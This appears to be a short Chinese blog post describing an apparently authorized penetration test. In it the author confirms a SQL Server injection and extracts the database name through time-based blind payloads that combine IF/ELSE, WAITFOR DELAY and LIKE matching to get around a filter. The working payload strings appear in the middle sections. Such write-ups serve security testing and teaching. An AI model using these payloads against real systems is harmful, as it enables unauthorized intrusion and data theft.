informix中if else使用_使用IF+ELSE来进行SQL注入

0x01

某日,一女徒弟找我,让我帮她测一个授权项目。

必须先拿@长亭科技的xray跑一下。

24402794ddd43203222a5f6a1543473c.png

随便点点,新增点内容,然后删除。

xray立刻提示 Vuln:sqldet

SQL注入

3c5f6c955a40b81bdb01de28b9eeefe5.png

还没开始就结束了。

XRAY牛逼PLUS!!!

0x02

下面开始漏洞验证。

上burpsuite,然后修改delay 后面的时间。 0:0:1 0:0:5 .....

624dc9c5922b8c32edf737943aaa3bfa.png

漏洞存在。

0x03

那么怎么也得拿出点数据,甲方才能认可吧。

就以 db_name() 为目标吧。

然后测试 and 1=1 or 1=1 这些熟悉的payload,发现有过滤。并没有办法有效的获取数据。

中午回家吃饭,睡一觉。晚上继续测试。想到了,之前测mysql的时候,我喜欢用if(1,sleep(5),1)来获取数据。

那么SQL-server的if呢?

尝试payload:

'+if +'1'='1'+select+'1'+else+waitfor+delay+'0:0:2 无延时
'+if +'1'='2'+select+'1'+else+waitfor+delay+'0:0:2 延时2秒

OK,那么开始数据获取

left(db_name(),1)='a' 报错,此路不通。

substring(db_name(),0,1)='a' 报错,此路不通。

我靠!

0x04

最后只能通过like来获取数据。

那么最终的payload就是:

'+if +db_name()+like+'%a%'+select+'1'+else+waitfor+delay+'0:0:2 无延时
'+if +db_name()+like+'%b%'+select+'1'+else+waitfor+delay+'0:0:2 延时2秒

然后写了一个脚本,跑出db_name() xxxxxx

嗯,到此为止。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值